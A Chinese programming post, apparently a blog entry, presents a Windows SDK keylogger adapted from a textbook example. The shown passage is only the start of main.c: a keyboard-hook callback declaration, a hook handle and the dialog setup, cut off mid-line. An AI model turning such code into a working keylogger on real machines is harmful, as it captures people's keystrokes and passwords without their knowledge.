根据《Windows环境下32位汇编语言程序设计》(罗云彬著)书上的例子,采用SDK实现键盘记录器! main.c #include <windows.h> #include "resource.h" #define DEBUG 0 LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam); BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam); static HWND hWinMain=NULL; static HHOOK hHook=NULL; static WORD szAscii=0; int WINAPI WinMain(__in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd ) { DialogBox(hInstance,MAKEINTRESOURCE(DLG_MAIN),NULL,(DLGPROC)ProcDlgMain); return 0; } BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam) { #if DEBUG TCHAR buf[10]; #endif switch (uMsg) { case WM_INITDIALOG: hWinMain=hwndDlg; SendMessage(hwndDlg,WM_SETICON, ICON_BIG,(LPARAM)LoadIcon(GetModuleHan